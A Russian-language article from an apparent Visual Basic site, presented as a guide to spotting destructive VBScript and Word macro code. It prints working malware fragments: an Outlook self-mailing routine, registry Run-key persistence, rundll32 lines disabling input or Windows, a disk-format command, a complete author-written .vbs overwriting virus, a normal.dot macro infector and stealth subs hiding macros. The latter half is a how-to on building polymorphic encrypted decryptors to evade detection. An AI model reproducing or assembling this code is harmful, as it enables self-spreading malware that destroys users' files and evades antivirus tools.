Visual Basic, .NET, ASP, VBScript
 

   
 
Описание для автора не найдено
 
     
   
 

    Итак, понять это дело не хитрое - существуют специальные программы - AVP, NAV;-). Ладно, шутки в стороны, так как всего пара строчек может испортить весьма ценную информацию!
    В данной статье, будут приведены отрывки некоторых деструктивных кодов, на чаще всего используемых языках при написании X кодов - отрывки представлены только в ознакомительных целях, и при нанесении какого-либо ущерба, автор данной статьи ответственности не несёт!  Потенциальный код вируса или ему подобный, может содержать любой файл, здесь я затрону так называемые исполняемые файлы с открытыми кодами - это Visual Basic Script, Visual Basic for Applications, ну и практически схожий с ним Word Basic, то есть последние два являются исполняемыми макросами Microsoft Office. X код, может скрываться в файле с расширением .vbs, но и в файле, представляющем обыкновенную веб страничку, так как скипты Visual Basic свободно вставляются и исполняются в файлах веб страниц. Но практически каждый X код, использующий VBScript, при выполнении создаёт ActiveX компоненты, в состав которых как правило входит FSO - File System Object - этот компонент практически является основой любого вируса на языке VBScript. Хоть программирование на VBScript и очень схоже с программированием на Visual Basic, но VBScript не позволяет напрямую работать с файлами, а только через FSO. Если вредоносный код открывается с помощью IE, то если в реестре по двум адресам:

HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201

    значения отличны от нуля, IE выводит предупреждающее сообщение о том, что код в данной странице пытается создать ActiveX, и предлагает не позволять создание компонента. В большинстве случаев рекомендуется на позволять выполнение ActiveX, но если вы это сделаете, то X код, может записать значение "0" в формате dword, и при следующих запусках веб страниц со скриптами, создающими ActiveX для работы с файлами, программами, предупреждение не будет выведено, и скрипт начнёт выполнение своих функций. Но файлы .vbs, в отличии от веб страничек, являются отдельными файлами и полностью весь код, включая ActiveX выполняются немедленно и без предупреждения! Выводы - если IE вам предлагает запретить создание ActiveX, и если вы не уверенны в источнике и безопасности веб странички, то запрет создания ActiveX один из лучших выходов потери информации. Как определить, что на веб страничке находится скиптовая вставка?! Чтоб выполнить скрипт-код на веб страничке, его необходимо сначала объявить скиптовым кодом, например вот так это делается для VB скриптов:

<Script Language="VBS"> ...Код скрипта... </Script>
Либо:
<Script Language="VBScript"> ...Код скрипта... </Script>

    А в .vbs файлах, эти строки отсутствуют, так как .vbs файл, принят стандартным файлом, со скриптовыми кодами внутри. В VBscript размер букв, то есть заглавные или маленькие не имеет значение.

    И так, если вы заметили в веб страничке или .vbs файле, следующие строки, то в большинстве случаев эти файлы являются опасными для информации хранящейся на компьютере:

CreateObject("WScript.Shell")
'Используется для записи в системный реестр Windows
CreateObject("Scripting.FileSystemObject")
'Используется для работы с файлами, папками, дисками
CreateObject("Outlook.Application")
'Используется для работы с Outlook,

    но не путайте Outlook и Outlook Express, если вы пользуетесь Outlook Express, то скипт будет бессилен, так как создание сообщений со вложенными файлами, содержащими X коды, по средствам ActiveX для работы с Outlook, работает только с Outlook.

    Далее самый часто используемый код для рассылки электронных писем с использованием Outlook в любом количестве, по адресам из адресной книги Outlook:

on error resume next set o=createobject("outlook.application")
for i=1 to 50
    set s=o.createitem(0)
    s.to=o.getnamespace("mapi").addresslists(1).addressentries(i)
    s.subject="hi!"
    s.body="ok!"
    s.attachments.add wscript.scriptfullname
    s.send
next

    Если в одном из ваших файлов вы встретили подобный код, то на 99% это является процедурой распространения вируса или чего-либо подобного по электронной почте. Так же вредоносные коды, очень часто записывают себя на автоматический запуск при запуске Windows, в системный реестр:
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\имя параметра например

rundlll","путь_к_скрипту" 'Возможно будет = wscript.scriptfullname

Но в реестре может быть и не только путь к вирусу, но и такое:
rundll32 keyboard,disable
'Полное отключение клавиатуры - только перезагрузка с "чистым"
'реестром или перезагрузка в безопасном режиме, вернёт функциональность клавиатуры.
rundll32 mouse,disable
'Тоже самое, но отключенна будет мышь
rundll32 user,disableoemlayer
'Это уже серьёзней - вся Windows будет отключена
rundll32 user,swapmousebutton
'Коды, подобные этому, X механизмы вставляют в реестр, чтобы испытать терпение
'"бедного" пользователя, так как при запуске Windows кнопки мыши будут меняться местами
rundll32 shell32,SHFormatDrive
'Подобная "шутка" выводит стандартное предложение форматировать диск
rundll32 krnl386.exe,exitkernel
'Не успеет и Windows загрузиться, как в мгновение ока, работа компьютера
'будет завершена в экстренном режиме.

    Напоминаю - эти вызовы функций из стандартных библиотек Windows, для своего исполнения должны находиться только в Run ключах реестра - для выполнения из реестра, а например для их вызова непосредственно из макроса Office, вызов будет примерно такой:

Shell "rundll32 shell32,SHFormatDrive"

    Когда MS разработали VBscript, они пожалуй и подумать не могли, что в недалёком будущем люди будут писать вредоносные коды! Как пример приведу весьма нашумевший вирус LoveLetter aka I love you, написанный на VBScript и испортивший большое количество информации, так как в нём организован поиск файлов на всех жёстких и сетевых дисках, и в зависимости от типа файла, вирус проводил с помощью FSO различные операции с ним, такие как запись своего кода, тем самым портя файлы. Процедуры поиска файлов крайне просты и очень непроизводительны, то есть поиск файлов и проведение различных операций, занимает весьма большое количество системных ресурсов и времени, и выглядят такие кода весьма просто и безобидно:

for each d in createobject("scripting.filesystemobject").drives
    if d.drivetype=2 then msgbox d.path
next
'Этот отрывок перечисляет все жёсткие диски на компьютере
for each f in createobject("scripting.filesystemobject").getfolder("c:\").subfolders msgbox f.path
next 
'Этот, перечисляет все папки на диске C:, только в головном директории   
for each f in createobject("scripting.filesystemobject").getfolder("c:\win98\").files msgbox f.path
next 
'А этот, все файлы в папке c:\win98

    Но подобные коды, не всегда являются вредоносными, но в большинстве случаев. Если вы видите, что в файле есть подобный код, а не знаете происхождение и предназначение файла, то не рекомендуется выполнять код. Если же вы запустили .vbs файл, или разрешили выполнение скрипта в файле веб странички, и чувствуете, что компьютер начинает работать медленнее и жёсткий диск что-то затрещал, то чем можно скорее жмите Ctrl+Alt+Del, а в появившемся окне найдите строку, в Win98 которая выглядит примерно так: WScript, а затем завершайте задачу приложения и скрипт "успокоится", затем рекомендуется проверить все ключи Run в реестре, файлы win.ini, system.ini на наличие путей к файлам .vbs,.htm(html,shtml и т.д.)

Пользователей Windows 98 предупреждаю:
Если вы увидели в файле скрипта или веб страничке похожую строку:

echo y|format a:

    Это основная часть кода, который должен попасть в .bat файл, в основном используется файл Autoexec.bat, после запуска которого будет начато немедленное форматирование диска - только при наличии программы format.com на компьютере. Если подобный код в .bat файле запускается напрямую из Windows, и если указатель стоит на системный диск, с которого загружен компьютер, то форматирование будет отклонено, но если указан другой диск, например большинство людей "разбивают" жёсткий диск на несколько логических дисков, и например на диске D: хранят ценные дистрибутивы, файлы, документы, то при выполнении команды со ссылкой на диск D: произойдёт немедленная очистка оглавления, после чего восстановление информации будет крайне тяжело, а самостоятельное практически невозможно! Если же вы пользователь Win2k, то данный код для вас не представляет никакой угрозы, так как Win2k не позволяет вот так лихо обращаться с дисками, плюс для форматирования надо ещё ввести метку диска.

    Итак, ниже изложен код простейшего Script вируса, который может скрываться в любом (включая .exe; .vbs; .htm) файле, при загрузке которого вирус выполнит простейшее заражение себе подобного .vbs файла:

on error resume next:set f=createobject("scripting.filesystemobject"):m=wscript.scriptfullname:for each d in f.drives:if d.drivetype=2 then:for each p in f.getfolder(d.path).subfolders:for each v in f.getfolder(p.path).files:if right(v.path,4)=".vbs" then:v.attributes=0:f.opentextfile(v.path,2).write f.opentextfile(m).readall:end if:next:next:end if:next

    Данный код, автор которого является автором этой статьи, представлен только в ознакомительных целях как пример к статье, и автор не несёт ответственности за потерю информации при использовании данного кода. Описание кода: при активизации, вирус создаёт один ActiveX компонент для работы с файлами, папками, дисками, затем читает весь свой код, после чего начинает перебор всех жёстких дисков, и папок в корне на дисках, а затем и файлы в этих папках. Если вирус находит файл с расширением .vbs, то немедленно меняет его аттрибуты(без разницы какие они были), на ноль, открывает найденный файл и заменяет весь код файла на свой.

    Что касается макро вирусов, то определить деструктивность кода гораздо сложнее, так как MS Word (самый распространённый "редактор вирусов"), позволяет скрывать код макроса и отключить необходимые для защиты функции, такие как разрешение автоматического выполнения макросов и остановка макроса нажатием клавиш Ctrl+Break, и немаловажный просмотр VBA кода. Но если вам всё же удалось просмотреть код макроса, и если вы увидели команду "Kill" или system.privateprofilestring, то данный макрос может быть небезопасен! При открытии документа, если выведен вопрос о разрешении выполнения макроса, рекомендуется запретить выполнение макроса, если происхождение и назначение документа вам не известно. Макро вирусы представляют более серьёзную угрозу, чем например скриптовые вирусы. Но помните, любой макрос без MS Office как любое живое существо без воздуха - если на вашем компьютере не установлен пакет MS Office, то документ Word, Exel, PowerPoint не представляет для вас никакой угрозы, более того - макрос просто не будет выполнен, так как по умолчанию, документы с расширением .doc открывает WordPad - тот самый, который с Windows в комплекте.

    Как я уже сказал, макрос может нанести вред в несколько раз сильнее, чем .vbs код. Например некоторые макро вирусы, при запуске проверяют файл normal.dot, который в разных версиях MS Office имеет разное имя, но при выполнении скрипта, получение его имени идёт "автоматически":

Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule 
If NT.lines(1, 1) = "" Then 
NT.Insertlines 1, AD.lines(1, AD.countoflines) 
End If

    Данный макрос, проверяет на наличие любой строки в NormalTemplate.VBProject.VBComponents(1).CodeModule, то есть в документе макросов Word, и если в строке ничего нет, то копирует весь код активного документа, то есть свой. Недостаток очевиден - если вы используете свои вставки, и первая строка стандартного документа не пуста, то код не будет скопирован. Но если же нет, то весь код документа - в нём могут находиться и деструктивные процедуры, будет немедленно скопирован в модуль макросов стандартного документа.

    Но существует так называемый Полиморфизм - зашифровка. То есть код документа, скрипта, файла, может содержать давно известные вирусы, или новые, но они зашифрованы. Нетронут только механизм расшифровки, который из непонятного набора символов, соберёт вполне рабочий код, который может оказаться вирусом или другим вредоносным или саморазмножающимся механизмом.

    Так же немного затрону так называемые Стелс технологии - я упомянул, что в MS Office есть возможность отключения просмотра макросов, предупреждений о выполнении макроса и т. д. Отключение выше перечисленных опций, выглядят примерно так:

Sub ViewVBCode(): Stealth: End Sub
'Отключить просмотр кода
Sub ToolsMacro(): Stealth: End Sub
'Отключить просмотр макросов
Sub FileTemplates(): Stealth: End Sub
'Отключить просмотр подключенных модулей
Private Sub Stealth(): On Error Resume Next
    Application.ShowVisualBasicEditor = 0: Application.EnableCancelKey = 0
End Sub
'Отключить показ РедактораVB, отключить клавишу Break

    Если вам удалось увидеть подобные строки, то в стандартных документах они абсолютно не к чему - удалите их!

    Вернёмся к полиморфизму - более подробно рассмотрим алгоритм (откорректированный мной материал из MacroFaq - Faq по макро вирусам, автора CyberShadow // SMS)

For i=1 To n
    'hjkljhlkjhl324jhlkqj3h5jkqhb
    MsgBox i
    'jhjehodhfgjnkbkjwekjt25jkbkjbKJBKJB
Next

    В зависимости от алгоритма и фантазии автора вируса эти строки могут содержать в себе различные символы, но основная идея остается той же - вставлять между строками строки переменной длины с различными символами. Недостатки ясны - стоит отсеять все ремарки, и voila! Вот ваш вирус. Кроме того, большинство полиморфов модифицируют весь свой код, не производя никаких проверок, что очень быстро делает вирус просто огромным по размеру, и либо превращает его дальнейшее распространение, либо ясно показывает, что файл поражен вирусом :(. Хотя сбылась мечта всех вирмакеров, модифицировать весь код вируса, но толку принесло совсем мало :(. Зачем изобретать велосипед? Есть множество хороших алгоритмов для создания защищенных вирусов. Причем эти алгоритмы давно используются для создания вирусов под DOS и Windows. Это старые добрые шифрующие алгоритмы различной сложности. Существует множество статей о создании шифрованного вируса под Word, но тем не менее, я коснусь этой темы (кратко). Зашифрованное тело можно хранить, как минимум двумя способами:

1. Создавая переменную в которой храниться зашифрованное тело вируса:
CryptedVirusBody="hl23kj6liuhrkljhluhilUHLIhliu"
CryptedVirusBody=CryptedVirusBody+"sdg3wW#HSDsehEh"
2. Храня зашифрованное тело вируса прямо в исходном коде:
Private Sub CryptedVirusBody()
    'jl;kj2lkj;Ij)JHhh5kjhKJhKJ5huoho
    'LKjlkigsohjwhj4klhLhLKhlwktioh
    'JklwjijgnLnlniowngoi
End Sub

    Разумеется, при разных способах хранения, существуют разные способы расшифровки, для первого способа вы пишите декриптор работающий напрямую с переменной, в которой храниться зашифрованное тело вируса. Для второго же способа понадобиться алгоритм работающий напрямую с исходным кодом, то есть что-то вроде:

c=lines(j,1)
if mid$(c,1,1)="'" then
    ... расшифровка ... 
    ReplaceLine j, EncryptedVariable
End If 
Где j - номер строки кода.

    У обоих способов есть свои преимущества и недостатки, у первого способа это необходимость выработки алгоритма который вставляет куда-то расшифрованную строку, у второго - некоторая громоздкость кода для работы с поиском строк. Выбирайте любой. Существуют еще способы хранения зашифрованных строк, но эти самые простые. Вот, вкратце и все о шифровании тела вируса.

Теперь, о самом интересном: о полиморфах. Рассмотрим следующий пример:

For i=1 to n 'часть расшифровщика; 
    For j=1 to 12425 '-+ 
        eyeu=12 ' | 
        do while eyeu<234 ' | мусор; 
            eyeu=eyeu+43 ' | 
        loop ' | 
    next '-+ 
    lkj=ljk+1 'часть расшифровщика; 
    jkhlk=142 '-+ 
    if sdfg<kleh then ' | 
        gsdfgyeu=122 ' | 
        do while gsdfgyeu<253 ' | 
           gsdfgyeu=gsdfgyeu+23 ' | мусор; 
           jhlkjh=lkwjf+nkvsv ' | 
        loop ' | 
    end if '-+ 
next 'часть расшифровщика

    Как видим, во вполне осмысленной программе, которая что-то делает, существует часть команд, которые отвечают за расшифровку тела вируса... Единственный из такого рода полиморфов (из тех которые я видел) делал подобное, но только добавляя "левые" переменные, причем без всяких операций с ними, то есть тот же "мусор" которые легко отсеивается. Каким же образом достигается создание такого рода полиморфных блоков? Достаточно просто:

private sub polym(fc,m)
    'где fc - переменная в которую будет дописывать полиморфный блок;
    'm - переменная определяющая степень рекурсии (чем больше степень
    ' тем сложнее полиморфная программа, тем больше места она
    ' занимает. select case int(rnd*6)
    case 1
        fc=fc+"for i=1 to 1234"
        m=m+1
        if m<MaxRecurs then call polym(fc,m)
            fc=fc+next
    case 2
    
    case 3
    
    'и т.д. case else
    
    end select
end sub

    Этим способом можно добавлять ЛЮБЫЕ блоки программы, я использовал следующие:  
1. FOR-NEXT
2. DO WHILE-LOOP
3. DO UNTIL-LOOP
4. DO-LOOP WHILE
5. DO-LOOP UNTIL
6. IF-END IF
7. Change variables

    Разумеется, конфигурация блоков зависит от вашей фантазии, но могу сделать подсказку: для всех циклов можно использовать случайные начальные и конечные значения, а также случайный шаг. Для блоков с условиями еще больше:
операции с разными переменными, комбинации "<", ">", "=" и сравнение с RND.
Для работы с работы с переменными следующие варианты:

var1=random
var1=var1+var2
var1=var2+var3
var1=var2
и т.д.

    Вот и все о рекурсивных полиморфных алгоритмах. Но! После того, как вы написали программу генерирующую полиморфный расшифровщик, сразу же всплывает масса проблем о которых вы раньше не подозревали: длина одной сроки не может быть больше 1024 символов, размер одной процедуры не может быть больше 64 килобайт. И та и другая проблема сказывается на возможностях полиморфа. Итак, вы должны внести корректировку по длине строки, на полиморфных блоках это не сказывается, а вот если вы храните зашифрованное тело вируса в строковых переменных, тогда придется делить переменную на части. Размер полиморфа можно корректировать уменьшая степень рекурсии. Есть другой вариант, перемешать строки расшифровщика и добавить в него вызов процедур, тогда размер вируса равномерно распределиться между процедурами и ни одна из них не будет больше 64К. Как перемешать, спросите вы? Тогда ведь структура расшифровщика нарушиться и он будет представлять собой просто набор нерабочих команд. Приведу пример:

private sub try()
    goto loop1
    loop2:
        msgbox "метка номер двас :)"
        goto loop3
    loop1:
        msgbox "метка номер раз"
        goto loop2
    loop3:
end sub

    Что сделает такая программа когда вы ее запустите? Правильно, сначала напечатает про метку номер раз, а потом про метку номер два. Но ведь метка номер два у нас идет первой? Как же так? Поняли? Та же самая идея в полиморфе, имеется куча перемешанных команд, которые после выполнения уходят в случайное место кода, где уже подготовлена следующая команда для выполнения. Кроме того, чтобы не перегружать размер подпрограммы, мы с чистой совестью можем сделать вызов процедуры вместо GOTO, разумеется процедуру нужно вызывать со всеми переменными используемыми в расшифровщике, либо объявлять их глобальными, но это уже мелочи.

 
     

   
   
     
  VBNet рекомендует